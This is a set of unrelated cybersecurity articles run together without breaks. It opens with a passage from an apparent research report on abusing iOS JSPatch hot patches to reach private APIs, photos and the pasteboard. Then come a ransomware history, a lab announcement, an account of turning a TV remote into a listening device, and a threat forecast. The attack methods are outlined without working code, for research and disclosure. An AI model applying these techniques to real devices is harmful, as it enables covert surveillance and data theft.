Decrypted original patch content retrieved from remote server
This is the content that gets loaded and executed by JPEngine, the component provided by the JSPatch framework embedded in the target app.
To change the behavior of the running app, one simply needs to modify the content of this JavaScript blob.
Below we show several possibilities for performing malicious actions that are against Apple’s App Review Guidelines .
Although the examples below are from a jailbroken device, we have demonstrated that they will work on non-jailbroken devices as well.
Example 1: Load arbitrary public frameworks into app process a .
Example public framework : /System/Library/Frameworks/Accounts.framework b .
Private APIs used by public framework:
[ACAccountStore init] , [ACAccountStore allAccountTypes]
The target app discussed above, when running, loads the frameworks shown in Figure 8 into its process memory: Figure 8.
iOS frameworks loaded by the target app Note that the list above – generated from the Apple-approved iOS app binary – does not contain Accounts.framework .
Therefore, any “dangerous” or “risky” operations that rely on the APIs provided by this framework are not expected to take place.
However, the JavaScript code shown in Figure 9 invalidates that assumption.
Figure 9.
JavaScript patch code that loads the Accounts.framework into the app process If this JavaScript code were delivered to the target app as a hot patch, it could dynamically load a public framework, Accounts.framework , into the running process.
Once the framework is loaded, the script has full access to all of the framework’s APIs.
Figure 10 shows the outcome of executing the private API [ACAccountStore allAccountTypes], which outputs 36 account types on the test device .
This added behavior does not require the app to be rebuilt, nor does it require another review through the App Store.
Figure 10.
The screenshot of the console log for utilizing Accounts.framework
The above demonstration highlights a serious security risk for iOS app users and app developers.
The JSPatch technology potentially allows an individual to effectively circumvent the protection imposed by the App Store review process and perform arbitrary and powerful actions on the device without consent from the users.
The dynamic nature of the code makes it extremely difficult to catch a malicious actor in action.
We are not providing any meaningful exploit in this blog post, but instead only pointing out the possibilities to avoid low-skilled attackers taking advantage of off-the-shelf exploits.
Example 2: Load arbitrary private frameworks into app process a.
Example private framework: /System
/Library/PrivateFrameworks/BluetoothManager.framework b.
Private APIs used by example framework: [ BluetoothManager connectedDevices] , [BluetoothDevice name]
Similar to the previous example, a malicious JSPatch JavaScript could instruct an app to load an arbitrary private framework, such as the BluetoothManager.framework , and further invoke private APIs to change the state of the device.
iOS private frameworks are intended to be used solely by Apple-provided apps.
While there is no official public documentation regarding the usage of private frameworks, it is common knowledge that many of them provide private access to low-level system functionalities that may allow an app to circumvent security controls put in place by the OS.
The App Store has a strict policy prohibiting third party apps from using any private frameworks.
However, it is worth pointing out that the operating system does not differentiate Apple apps’ private framework usage and a third party app’s private framework usage.
It is simply the App Store policy that bans third party use.
With JSPatch, this restriction has no effect because the JavaScript file is not subject to the App Store’s vetting.
Figure 11 shows the code for loading the BluetoothManager.framework and utilizing APIs to read and change the states of Bluetooth of the host device.
Figure 12 shows the corresponding console outputs.
Figure 11.
JavaScript patch code that loads the BluetoothManager.framework into the app process Figure 12.
The screenshot of the console log for utilizing BluetoothManager.framework Example 3: Change system properties via private API a .
Example dependent framework: b /System/Library/Frameworks/CoreTelephony.framework b .
Private API used by example framework: [CTTelephonyNetworkInfo updateRadioAccessTechnology:] Consider a target app that is built with the public framework CoreTelephony.framework .
Apple documentation explains that this framework allows one to obtain information about a user’s home cellular service provider.
It exposes several public APIs to developers to achieve this, but [CTTelephonyNetworkInfo updateRadioAccessTechnology:] is not one of them.
However, as shown in Figure 13 and Figure 14, we can successfully use this private API to update the device cellular service status by changing the radio technology from CTRadioAccessTechnologyHSDPA to CTRadioAccessTechnologyLTE without Apple’s consent.
Figure 13.
JavaScript code that changes the Radio Access Technology of the test device Figure 14.
Corresponding execution output of the above JavaScript code via Private API Example 4: Access to Photo Album (sensitive data) via public APIs a .
Example loaded framework: /System/Library/Frameworks/Photos.framework b .
Public APIs : [PHAsset fetchAssetsWithMediaType:options:]
Privacy violations are a major concern for mobile users.
Any actions performed on a device that involve accessing and using sensitive user data (including contacts, text messages, photos, videos, notes, call logs, and so on) should be justified within the context of the service provided by the app.
However, Figure 15 and Figure 16 show how we can access the user’s photo album by leveraging the private APIs from built-in Photo.framework to harvest the metadata of photos.
With a bit more code, one can export this image data to a remote location without the user’s knowledge.
Figure 15.
JavaScript code that access the Photo Library Figure 16.
Corresponding output of the above JavaScript in Figure 15 Example 5: Access to Pasteboard in real time a .
Example Framework: /System/Library/Frameworks/UIKit.framework b .
APIs: [UIPasteboard strings], [UIPasteboard items], [UIPasteboard string]
iOS pasteboard is one of the mechanisms that allows a user to transfer data between apps.
Some security researchers have raised concerns regarding its security , since pasteboard can be used to transfer sensitive data such as accounts and credentials.
Figure 17 shows a simple demo function in JavaScript that, when running on the JSPatch framework, scrapes all the string contents off the pasteboard and displays them on the console.
Figure 18 shows the output when this function is injected into the target application on a device.
Figure 17.
JavaScript code that scraps the pasteboard which might contain sensitive information Figure 18.
Console output of the scraped content from pasteboard by code in Figure 17 We have shown five examples utilizing JSPatch as an attack vector, and the potential for more is only constrained by an attacker’s imagination and creativity.
Future Attacks Much of iOS’ native capability is dependent on C functions (for example, dlopen() , UIGetImageScreen() ).
Due to the fact that C functions cannot be reflectively invoked, JSPatch does not support direct Objective C to JavaScript mapping.
In order to use C functions in JavaScript, an app must implement JSExtension, which packs the C function into corresponding interfaces that are further exported to JavaScript.
This dependency on additional Objective C code to expose C functions casts limitations on the ability of a malicious actor to perform operations such as taking stealth screenshots, sending and intercepting text messages without consent, stealing photos from the gallery, or stealthily recording audio.
But these limitations can be easily lifted should an app developer choose to add a bit more Objective C code to wrap and expose these C functions.
In fact, the JSPatch author could offer such support to app developers in the near future through more usable and convenient interfaces, granted there is enough demand.
In this case, all of the above operations could become reality without Apple’s consent.
Security Impact
It is a general belief that iOS devices are more secure than mobile devices running other operating systems; however, one has to bear in mind that the elements contributing to this status quo are multi-faceted.
The core of Apple’s security controls to provide and maintain a secure ecosystem for iOS users and developers is their walled garden – the App Store.
Apps distributed through the App Store are significantly more difficult to leverage in meaningful attacks.
To this day, two main attack vectors make up all previously disclosed attacks against the iOS platform: 1.
Jailbroken iOS devices that allow unsigned or ill-signed apps to be installed due to the disabled signature checking function.
In some cases, the sandbox restrictions are lifted, which allows apps to function outside of the sandbox.
2.
App sideloading via Enterprise Certifications on non-jailbroken devices.
FireEye published a series of reports that detailed attacks exploiting this attack surface, and recent reports show a continued focus on this known attack vector.
However, as we have highlighted in this report, JSPatch offers an attack vector that does not require sideloading or a jailbroken device for an attack to succeed.
It is not difficult to identify that the JavaScript content, which is not subject to any review process, is a potential Achilles heel in this app development architecture.
Since there are few to zero security measures to ensure the security properties of this file, the following scenarios for attacking the app and the user are conceivable: ● Precondition : 1) App embeds JSPatch platform; 2) App Developer has malicious intentions.
○
Consequences : The app developer can utilize all the Private APIs provided by the loaded frameworks to perform actions that are not advertised to Apple or the users.
Since the developer has control of the JavaScript code, the malicious behavior can be temporary, dynamic, stealthy, and evasive.
Such an attack, when in place, will pose a big risk to all stakeholders involved.
○      Figure 19 demonstrates a scenario of this type of attack: Figure 19.
Threat model for JSPatch used by a malicious app developer ● Precondition : 1) Third-party ad SDK embeds JSPatch platform; 2) Host app uses the ad SDK; 3) Ad SDK provider has malicious intention against the host app.
○
Consequences : 1) Ad SDK can exfiltrate data from the app sandbox; 2) Ad SDK can change the behavior of the host app; 3) Ad SDK can perform actions on behalf of the host app against the OS.
○      This attack scenario is shown in Figure 20: Figure 20.
Threat model for JSPatch used by a third-party library provider The FireEye discovery of iBackdoor in 2015 is an alarming example of displaced trust within the iOS development community, and serves as a sneak peek into this type of overlooked threat.
● Precondition : 1) App embeds JSPatch platform; 2) App Developer is legitimate; 3) App does not protect the communication from the client to the server for JavaScript content; 4)
A malicious actor performs a man-in-the-middle (MITM) attack that tampers with the JavaScript content.
○
Consequences : MITM can exfiltrate app contents within the sandbox; MITM can perform actions through Private API by leveraging host app as a proxy.
○      This attack scenario is shown in Figure 21: Figure 21.
Threat model for JSPatch used by an app targeted by MITM Field Survey JSPatch originated from China.
Since its release in 2015, it has garnered success within the Chinese region.
According to JSPatch, many popular and high profile Chinese apps have adopted this technology.
FireEye app scanning found a total 1,220 apps in the App Store that utilize JSPatch.
We also found that developers outside of China have adopted this framework.
On one hand, this indicates that JSPatch is a useful and desirable technology in the iOS development world.
On the other hand, it signals that users are at greater risk of being attacked – particularly if precautions are not taken to ensure the security of all parties involved.
Despite the risks posed by JSPatch, FireEye has not identified any of the aforementioned applications as being malicious.
Food For Thought Many applaud Apple’s App Store for helping to keep iOS malware at bay.
While it is undeniably true that the App Store plays a critical role in winning this acclaim, it is at the cost of app developers’ time and resources.
One of the manifestations of such a cost is the app hot patching process, where a simple bug fix has to go through an app review process that subjects the developers to an average waiting time of seven days before updated code is approved.
Thus, it is not surprising to see developers seeking various solutions that attempt to bypass this wait period, but which lead to unintended security risks that may catch Apple off guard.
JSPatch is one of several different offerings that provide a low-cost and streamlined patching process for iOS developers.
All of these offerings expose a similar attack vector that allows patching scripts to alter the app behavior at runtime, without the constraints imposed by the App Store’s vetting process.
Our demonstration of abusing JSPatch capabilities for malicious gain, as well as our presentation of different attack scenarios, highlights an urgent problem and an imperative need for a better solution – notably due to a growing number of app developers in China and beyond having adopted JSPatch.
Many developers have doubts that the App Store would accept technologies leveraging scripts such as JavaScript.
According to Apple’s App Store Review Guidelines, apps that download code in any way or form will be rejected.
However, t he JSPatch community argues it is in compliance with Apple’s iOS Developer Program Information, which makes an exception to scripts and code downloaded and run by Apple's built-in WebKit framework or JavascriptCore, provided that such scripts and code do not change the primary purpose of the application by providing features or functionality that are inconsistent with the intended and advertised purpose of the application as submitted to the App Store.
The use of malicious JavaScript (which presumably changes the primary purpose of the application) is clearly prohibited by the App Store policy.
JSPatch is walking a fine line, but it is not alone.
In our coming reports, we intend to similarly examine more solutions in order to find a better solution that satisfies Apple and the developer community without jeopardizing the users security experience.
Stay tuned!
[1] We have contacted the app provider regarding the issue.
In order to protect the app vendor and its users, we choose to not disclose the identity before they have this issue addressed.
[2] The redacted part is the hardcoded decryption key.
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If you follow information security, you have probably heard a lot about ransomware in recent years.
You may even have had the misfortune of being on the receiving end of an attack.
It is perhaps no exaggeration to describe ransomware as the most dangerous malware of our time.
But did you know that such malicious programs have been around for more than 30 years, and that researchers predicted many features of modern-day attacks back in the mid-1990s?
Do you want to know why cryptors replaced blockers, what the largest ransom in history was, and what AIDS has to do with it all?
Then read on, for we have compiled a history of ransomware with the answers to these and many more questions.
Together, let’s trace the development of blockers, cryptors, wipers, and other ransomware nasties over the past few decades.
Ransomware dictionary The following terms appear frequently in the text.
Cryptography — the science of preventing outsiders from reading confidential information.
Encryption is one aspect of cryptography.
Symmetric encryption — a data encryption method in which one key is used both to encrypt and to decrypt the information.
Asymmetric encryption — a data encryption method that involves the use of two keys: one public to encrypt the information, and one private to decrypt it.
Knowing the public key does not help with decryption; that requires the private key.
RSA — a commonly used asymmetric encryption algorithm.
Ransomware — any malicious program that forces the victim to pay a ransom to the attacker.
Ransomware includes blockers , cryptors , and wipers disguised as cryptors.
Blocker — a type of ransomware that blocks or simulates the blocking of a computer or mobile device.
Such malware typically shows a persistent message with a payment demand on top of all other windows.
Cryptomalware (cryptor) — a type of ransomware that encrypts user files so they cannot be used.
Wiper — a type of malware designed to wipe (erase) data on the victim’s device.
Sometimes ransomware simulating a cryptor actually turns out to be a wiper, damaging files irreparably; so even if the ransom is paid, it is still impossible to recover the data.
RaaS (Ransomware-as-a-Service) — a criminal scheme whereby creators lease ransomware to anyone who wants to distribute it for a cut of the proceeds.
It is a kind of cybercriminal franchise.
1989:
The first ransomware attack Dr. Joseph L. Popp, a biological researcher, created the first known cryptor.
Popp took advantage of widespread interest in AIDS; hence his malware became known as the AIDS Trojan.
In those days, the Internet was still in its infancy, so Popp used a highly original (by modern standards) delivery method.
Having gotten mailing lists of subscribers to the WHO AIDS conference and PC Business World magazine, he sent victims a floppy disk with a sticker reading “AIDS Information Introductory Diskette” along with detailed instructions for installing the program.
License agreement said that by installing the program, the user agreed to pay the company $378.
But who takes things like that seriously?
In fact, the installer served to deliver the malware to the hard drive.
After a certain number of system boots, the AIDS Trojan became active, encrypting file names (including extensions) on the C: drive of the infected computer.
The names turned into a jumble of random characters, making it impossible to work normally with the files.
For example, to open or run a file, it was first necessary to work out what extension it should have and to change it manually.
At the same time, the malware displayed a message on the screen, saying that the software trial was over and the user must pay a subscription fee: $189 for one year or $378 for lifetime access.
The money was to be transferred to an account in Panama.
The malware used symmetric encryption, so the key to recover the files was contained right in the code.
Therefore, the problem was relatively easy to solve: Retrieve the key, delete the malware, and use the key to recover the file names.
By January 1990, Virus Bulletin editorial advisor Jim Bates had created the AIDSOUT and CLEARAID programs to do just that.
Joseph Popp was arrested, but the court found him mentally unfit to stand trial.
He did, however, publish the book Popular Evolution: Life-Lessons from Anthropology a decade later.
1995–2004:
Young, Yung, and the ransomware of the future Perhaps because the AIDS Trojan failed to enrich its creator, the idea of encrypting data for purposes of ransom did not generate much enthusiasm among scammers of the day.
Interest in it returned only in 1995, and in the scientific community.
Cryptographers Adam L. Young and Moti Yung set out to learn what the most powerful computer virus would look like.
They came up with the concept of ransomware that uses asymmetric encryption.
Instead of using one key, which would have to be added to the program code, to encrypt the files, their model used two, public and private, which kept the decryption key secret.
What is more, Young and Yung hypothesized that the victim would have to pay using electronic money, which did not yet exist.
The cybersecurity prophets presented their thoughts at the IEEE Security and Privacy conference in 1996, but they were not well received.
Then, 2004 saw the publication of Malicious Cryptography:
Exposing Cryptovirology , in which Young and Yung systematized the results of their research.
2007–2010:
The golden years of blockers While cryptomalware was biding its time, the world saw the rise of another kind of ransomware: blockers.
This rather primitive sort of malware interfered with the normal functioning of the operating system by adding itself to Windows’ startup routine.
In addition, to foil deletion, many types blocked the registry editor and task manager.
This kind of malware used diverse ways to keep victims from using their computers, ranging from a window that wouldn’t close to a change of desktop wallpaper.
One method of payment was by text to a premium number .
Neutralizing ransomware blockers usually did not require an antivirus program, but rather a fair bit of know-how on the part of the user.
To remove the malware manually, it was necessary, for example, to boot the system from a Live or rescue CD, start in safe mode, or log in to Windows under a different profile.
However, the ease of writing such Trojans offset the relatively low risk.
Practically anyone could distribute them.
There were even automatic generators.
Sometimes, the malware placed a pornographic banner on the desktop and alleged the victim had viewed prohibited content (a tactic still used today).
With the ransom demand being manageable, many preferred not to seek help, but simply to pay.
2010:
Cryptomalware with asymmetric encryption In 2011, cryptomalware developers stepped up their game considerably and, as Yung and Young predicted, began using asymmetric encryption.
A modification of the GpCode cryptor, for example, was based on the RSA algorithm .
2013:
CryptoLocker hybrid ransomware Late 2013 marked the appearance of hybrid ransomware combining a blocker with cryptomalware.
The concept increased cybercriminals’ chances of receiving payment, because even removing the malware, and thus removing the block, did not restore victims’ access to their files.
Perhaps the most notorious of these hybrids is CryptoLocker .
This malware was distributed in spam e-mails, and the cybercriminals behind it accepted ransom payment in Bitcoin.
2015
:
Cryptors replace blockers In 2015, Kaspersky observed a snowballing number of cryptomalware infection attempts, with the number of attacks growing by a factor of 5.5.
Cryptors started to squeeze out blockers .
Cryptors prevailed for several reasons.
First, user data is significantly more valuable than system files and applications, which can always be reinstalled.
With encryption, cybercriminals could demand significantly higher ransoms — and had a better chance of getting paid.
Second, by 2015, cryptocurrencies were widely used for anonymous money transfers, so the attackers were no longer afraid of being traced.
Bitcoin and others made it possible to receive large ransoms without lighting up on the radar.
2016:
Mass ransomware Ransomware continued to grow as a force in cybersecurity, and 2016 saw an elevenfold increase in the number of ransomware modifications , with the average ransom ranging from 0.5 to hundreds of bitcoins (which were worth a fraction of today’s price).
The main focus of attacks switched from the individual user to the corporate sector, justifiably prompting talk of the emergence of a new criminal industry.
Cybercriminals no longer had to develop malware by themselves; they could just buy it off the shelf.
For example, a “lifetime license” for Stampado ransomware went on sale.
The malware threatened to delete random files after a certain period of time to scare victims into paying the ransom.
Ransomware also became available under the RaaS (Ransomware-as-a-Service) model, a term that emerged with the appearance of Encryptor RaaS .
The model helped ransomware spread even more widely.
Extortionists began targeting government and municipal organizations in addition to businesses and home users.
The HDDCryptor, which infected more than 2,000 San Francisco Municipal Transportation Agency computers, serves as a prime example.
The cybercriminals demanded 100 BTC (then about $70,000) to restore the systems, but the agency’s IT department managed to solve the problem on its own.
2016–2017: Petya, NotPetya, and WannaCry
In April 2016, new malware called Petya reared its head.
Whereas previous cryptors had left operating systems intact to allow victims to pay the ransom, Petya completely bricked infected machines; it targeted the MFT (Master File Table) — a database that stores the entire structure of files and folders on the hard drive.
As destructive as it was, Petya’s penetration and distribution mechanism was rough.
To activate it, the victim had to manually download and run an executable file, which made infection less likely.
In fact, it might not have made much of a mark if not for another ransomware — the aptly named WannaCry .
In May 2017, WannaCry infected more than 500,000 devices worldwide, causing $4 billion of damage.
How did it do that?
Вy incorporating the EternalBlue exploit , which took advantage of some very dangerous vulnerabilities in Windows.
The Trojan infiltrated networks and installed WannaCry on victims’ computers.
The malware then continued, spreading to other devices on the local network.
Inside infected systems, WannaCry behaved normally, encrypting files and demanding a ransom.
Not two months after the WannaCry outbreak another cryptor appeared, also modified for EternalBlue:
NotPetya, also known as ExPetr .
NotPetya devoured hard drives whole.
Moreover, NotPetya encrypted the file table in such a way as to rule out decryption even after ransom payment.
As a result, experts concluded that it was actually a wiper disguised as a cryptor.
The total damage from NotPetya exceeded $10 billion .
The WannaCry attack was so devastating that Microsoft released an urgent patch for operating systems it no longer supported.
Updates for supported systems had been available long before both epidemics, but not everyone had installed them, allowing these two ransomware programs to make their presence felt for a long time to come.
2017:
A million bucks for decryption
In addition to the unprecedented damages, another record was set in 2017, for the biggest known ransom of a single organization.
South Korean Web host Nayana agreed to pay $1 million (negotiated down from 4.5 times that much) to unblock computers infected with the Erebus cryptor.
What surprised the expert community most was that the company publicly announced the payment.
Most victims prefer not to advertise such things.
2018–2019:
A threat to society The past few years are notable for massive ransomware attacks on utilities and community facilities.
Transportation, water, energy, and healthcare institutions found themselves increasingly at risk .
Cybercriminals counted on them paying up, too; even with very large ransom requests, going dark would mean leaving thousands or millions of people in the lurch.
In 2018, for example, a cryptomalware attack on Bristol Airport in the UK disrupted flight display screens for two whole days.
Staff resorted to using whiteboards, and to the airport’s credit, its response to the attack was quick and effective.
As far as we know, no flights were cancelled and no ransom was paid.
Hancock Health, a US clinic, fared less well, paying 4 BTC (then $55,000) after SamSam ransomware struck its systems.
Explaining the company’s decision to pay the ransom , CEO Steve Long cited an approaching snowstorm, coupled with one of the worst flu seasons in memory.
The clinic just did not have the time to restore its computers independently.
In all, more than 170 municipal agencies in the United States fell victim to ransomware in 2019 , with ransom demands reaching as high as $5 million.
Updating operating systems in such organizations can be difficult, so cybercriminals often used old — and therefore more accessible — exploits.
2020:
Rising scale and data leak extortion In addition to the rising scale of infection , as well as the consequences and ransom amounts, 2020 is memorable for a new hybrid approach that saw ransomware, before encrypting data, sending it to the cybercriminal operators.
Threats to leak the information to competitors or to publish it followed.
Given hypersensitivity about personal data these days, that could be fatal for a business.
The tactic was first mastered by the Maze group back in 2019, but in 2020 it became a genuine trend.
The Transform Hospital Group cosmetic surgery chain was the victim of one of the most high-profile incidents of 2020.
The REvil hacker group encrypted and stole 900GB of Transform’s data , including pre- and post-operation photographs of patients, which the attackers threatened to publish.
In addition, cryptomalware operators adopted a range of new tactics in 2020.
For example, the REvil group started auctioning off stolen information.
Cybercriminals have also united into cartel-type organizations.
The first was the Maze group, which began posting information stolen by the LockBit cryptor.
According to the cybercriminals , they are now working closely with LockBit, providing their platform for data leakage as well as sharing their knowledge.
They also boasted that another notable group would soon be joining the cartel: RagnarLocker, a trailblazer in organizing DDoS attacks on victims’ resources as an additional lever of pressure on companies it extorts.
Conclusion In a span of three decades, ransomware has evolved from a relatively harmless toy into a serious threat to users of all platforms, and especially to businesses.
To guard against attacks, be sure to observe a few security rules — and if somehow, a hack succeeds, it is important to seek help from experts and not simply do the cybercriminals’ bidding.
By Steve Povolny on Aug 22, 2018
McAfee’s Advanced Threat Research team has operated from several locations around the world for many years.
Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland.
Although we have smaller labs in other locations, the new McAfee Advanced Threat Research Lab was created to serve two purposes.
First, it gives our talented researchers an appropriate work space with access to high-end hardware and electronics for discovery, analysis, automation, and exploitation of vulnerabilities in software, firmware, and hardware.
Second, the lab will serve as a demo facility, where the Advanced Threat Research team can showcase current research and live demos to customers or potential customers, law enforcement partners, academia, and even vendors.
The lab has been a labor of love for the past year, with many of the team members directly contributing to the final product.
Visitors will have the unique opportunity to experience live and recorded demos in key industry research areas, including medical devices, autonomous and connected vehicles, software-defined radio, home and business IoT, blockchain attacks, and even lock picking!
Our goal is to make vulnerability research a tangible and relatable concept, and to shed light on the many security issues that plague nearly every industry in the world.
Much of the research highlighted in the lab has been disclosed by McAfee.
Links to recent disclosures from the Advanced Threat Research team: Articles 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families Want to Break Into a Locked Windows 10 Device?
Ask Cortana (CVE-2018-8140)
Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product Podcasts McAfee’s Steve Povolny Leads Threat Research Cortana voice assistant lets you in.
—
Research Saturday “Hackable?”
By McAfee Security researcher Douglas McKee prepares his demo of hacking a medical patient’s vitals.
Onsite visitors will have the opportunity to solve a unique, multipart cryptographic challenge, painted on our custom mural wall in the lab.
Those who are successful will receive an Advanced Threat Research team challenge coin!
We will soon have an official video from the lab’s opening event online.
There’s a certain reliability to everyday objects.
Take a TV remote for example: It’s hard to imagine one eavesdropping on conversations, but cybersecurity researchers J. J. Lehman and Ofri Ziv from Israeli company Guardicore got one to do just that.
They reported their findings at RSA Conference 2021 .
How researchers hacked a remote The subject of Lehman and Ziv’s research was the remote control for the Comcast Xfinity X1 set-top box, which is popular in the United States (with more than 10 million users, according to the researchers).
The remote control supports voice commands, for which it is equipped with a microphone and a quite capable processor.
Two data transfer technologies are implemented in the device.
For switching channels and other simple actions, a standard infrared transmitter is used, which has the important advantage of consuming minimal energy so that the remote does not need frequent charging, allowing it to operate on ordinary batteries for an extended period of time.
But for cases requiring a faster data transfer speed, the remote uses a radio interface, enabling the remote not only to send data to the set-top box, but to receive from it as well.
The radio interface consumes more power, so it is used only when needed.
Like many modern devices, this type of remote control is essentially a connected computer — and therefore hackable.
Having studied the remote’s firmware (with a copy conveniently stored on the set-top box’s hard drive), the researchers were able to determine the alterations that would enable the firmware to command the remote control to turn on the microphone and transmit sound over the radio channel.
But modifying the firmware was not enough; they still needed a way to upload it to the remote, and preferably without physical contact.
To do that, Lehman and Ziv examined how the set-top box communicates with the remote and updates its software.
They discovered that the remote had to initiate the update process.
Every 24 hours, the remote queries the set-top box and receives either a negative response or an offer to install a new version of the software, which it downloads from the set-top-box.
The researchers also found several vital flaws in the communication mechanism between the remote and the Xfinity box.
First, the former does not check the firmware’s authenticity, so it will download and install whatever firmware the set-top box (or the hacker’s computer impersonating one) offers it.
Second, although the set-top box and the remote exchange encrypted messages, the encryption is not properly enforced.
The remote accepts (and executes) commands sent in plain text marked “encryption disabled.”
The remote’s requests are still encrypted and therefore cannot be deciphered, but simply understanding the communication mechanism makes it possible to effectively guess what the remote is asking and to give the right response.
It goes something like this: “YdvJhd8w@a&hW*wy5TOxn3B*El06%D7?”
“Sure, there’s a firmware update available for you to download.”
“Cj@EDkjGL01L^NgW@Fryp1unc1GTZIYM.”
“Sending the file; accept it.”
Third, it is quite easy to trigger an error in the firmware module that handles communication with the remote, causing the module to crash and reboot.
That gives the attacker a window during which they are guaranteed to be the only party giving commands to the remote.
Therefore, to hack the remote one needs to: Wait for the remote to make requests and guess when it is querying about updates; Knock out the set-top box module responsible for communicating with the remote the moment it makes an update query; Give an affirmative response to the remote and send a modified file for uploading.
All of that happens contactlessly, over the radio interface.
The researchers stuffed their remote with modified firmware that queried for updates not every 24 hours, but every minute; then, on receiving certain response, turned on the built-in microphone and broadcast the sound to the attackers.
Their tests succeeded at relatively long range and through a wall, simulating a wiretap van outside a house.
How to stay protected In our opinion, there is little point worrying about your remote being hacked and turned into a listening device.
Although proven feasible, the attack isn’t really practical.
It might be suitable for a targeted attack on some kind of special person, but it’s too complex and time-consuming for large-scale use.
That said, here are some tips for those of a you-can-never-be-too-cautious frame of mind:
If you own an Xfinity TV box, check the remote’s firmware version.
The researchers responsibly disclosed the vulnerabilities to Comcast, and the company has issued an update that fixes the problem; The remote controls of some other manufacturer’s TV boxes and TVs with voice support likely operate on the same principle and may have similar vulnerabilities.
So periodically check for updates for your remote and install them when they are available.
Corresponding items in TV and set-top-box menus are likely somewhere near their Wi-Fi and Bluetooth settings; Consider taking apart the remote to physically remove the microphone if your remote supports voice commands but you never use them.
We think doing so is overkill, but it’s an option; Be aware that an attack on your Wi-Fi network is far more probable than such an exotic hack.
Make sure to configure yours securely , move all vulnerable IoT devices to a guest network , and use a secure connection ] to protect the most valuable data.
According to FortiGuard Labs , 2022 is shaping up to be a banner year for cybercriminals, with ransomware on the rise and an unprecedented number of attackers lining up to find a victim.
Attacks will continue to span the entire attack surface, leaving IT teams scrambling to cover every possible avenue of attack.
This will be incredibly challenging because the attack surface will simultaneously be expanding as organizations transition to more hybrid environments and workspaces, adopt more AI and ML-based technologies , develop new connectivity options, and deploy additional business-critical applications and devices into the cloud.
By understanding what the future may hold in relation to cyber threats, we give ourselves the best possible chance of defeating them.
Attack Framework - Left to Right Attacks are often discussed in terms of left-hand and right-hand threats when viewed through an attack chain such as the MITRE ATT&CK framework.
On the left are efforts spent pre-attack, which includes planning, development, and weaponization strategies.
We predict that cybercriminals will spend more time and effort on reconnaissance and discovering zero-day capabilities to exploit new technologies and expanding network environments.
In addition to redoubled efforts on the left-hand side of the attack chain, we will also see a significant increase in the rate at which new attacks can be launched on the right due to the expanding Crime-as-a-Service market.
In addition to the sale of ransomware- and other malware-as-a-service offerings, we will likely see new criminal solutions, including phishing- and botnets-as-a-service, as well as an increase in the sale of access to pre-compromised targets.
We will also see an increase in new attacks.
Organizations should prepare for the targeting of new attack vectors, such as Linux platforms.
Linux still runs the back-end systems of most networks and until recently, it has largely been ignored by the hacker community.
But we have already begun to see new Linux-based attacks like Vermilion Strike, which is a malicious implementation of the Beacon feature of Cobalt Strike that can target Linux systems with remote access capabilities without being detected.
Similarly, Microsoft is actively integrating WSL (Windows Subsystem for Linux) into Windows 11.
WSL is a compatibility layer for running Linux binary executables natively on Windows.
We have already seen malicious test files in the wild targeting WSL.
These files act as loaders, many with malicious payloads.
They just lack the ability to inject those payloads into the WSL system.
And we are also seeing more botnet malware being written for Linux platforms.
This expands the attack surface further, to the network edge.
We expect to see even more activity targeting edge devices that had traditionally been overlooked by cybercriminals.
From Top to Bottom We expect to see new exploits targeting satellite networks over the next year.
There are a half dozen major satellite internet providers already in place.
Satellite base stations serve as the entry point to the satellite network, essentially connecting everyone, everywhere—including cybercriminals to their targets—so this is where a lot of threats will be lurking.
But there will also be millions of terminals from which to launch an attack.
We have already begun to see new threats targeting satellite-based networks, such as ICARUS, which is a proof-of-concept DDoS attack that leverages direct global accessibility to satellites to launch attacks from numerous locations.
The biggest targets will be organizations that rely on satellite-based connectivity to run their businesses, those that deliver critical services to remote locations, and organizations that provide services to clients in motion, such as cruise liners, cargo ships, and commercial airlines.
Other attacks, such as ransomware, are sure to follow.
At the smaller end of the scale, we also expect to see an increase in digital theft by attackers targeting crypto wallets.
While banks have largely been able to fend off attacks targeting wire transfers using encryption and multi-factor authentication, many digital wallets sit unprotected on laptops and smartphones.
We have already seen new attacks emerging that target digital wallets.
A new fake Amazon gift card generator specifically targets digital wallets by replacing the victim’s wallet with that of the attacker.
And ElectroRAT targets them by combining social engineering with custom cryptocurrency applications and a new Remote Access Trojan (RAT) to target multiple operating systems, including Windows, Linux, and macOS.
We expect to see more malware designed to target stored crypto credentials and drain digital wallets, especially as more businesses adopt digital wallets to make purchases.
Core to the Edge We also predict that attacks will continue to span the network, including an increase in attacks targeting Operational Technology (OT) systems.
According to a recent CISA (U.S. Cybersecurity & Infrastructure Security Agency) report, ransomware attacks are increasingly targeting critical infrastructure and \"have demonstrated the rising threat of ransomware to operational technology (OT) assets and control systems.\
" This is being spurred by the near-universal convergence of IT and OT networks which has enabled some attacks to target OT systems through the compromised home networks and devices of remote workers.
Traditionally, attacks on OT systems were the domain of highly specialized threat actors who knew their way around ICS and SCADA systems.
But even those highly specialized capabilities and tools are now being included in attack kits available for purchase on the dark web, making them available to a much broader set of far less technical attackers.
And at the other end of the network, we also see new edge-based challenges emerging.
\"Living off the land\" is a technique that allows malware and threat actors to leverage existing toolsets and capabilities within compromised environments.
This enables attacks and data exfiltration to look like normal system activity and go unnoticed.
Living off the land attacks are effective because they use legitimate tools to carry out their malicious actions.
And now, as edge devices become more powerful, with more native capabilities and, of course, more privileges, we expect to see new attacks designed to \"live off the edge.\" Malware living in these edge environments will use local resources to monitor edge activities and data and then steal, hijack, or even ransom critical systems, applications, and information while avoiding detection.
Where Do You Start with the Expanding Attack Surface?
Defending against this new wave of threats requires a holistic, integrated approach to security.
Point products need to be replaced with security devices designed to interoperate as a unified solution regardless of where they are deployed.
They need to protect every user, every device, and every application with a unified policy that can follow data and transactions from end to end.
Centralized management will also help ensure that policies are enforced consistently, configurations and updates are delivered promptly, and that suspicious events that may occur anywhere across the network—including to, between, and within cloud environments—are centrally collected and correlated.
Organizations are strongly urged to extend their efforts by hardening their Linux and other traditionally lower-profile devices.
They should also have tools in place designed to protect, detect, and respond to threats targeting these devices.
Similarly, organizations need to take a security-first approach when adopting new technologies, whether upgrading your Windows-based systems or adding satellite-based connectivity, to ensure that protections are in place before adding them to your network.
Additionally, behavioral analytics should be deployed to detect “left hand” threats.
Discovering and blocking an attack during initial reconnaissance and probing efforts can help raise threat awareness and prevent problems arising later in the attack chain.
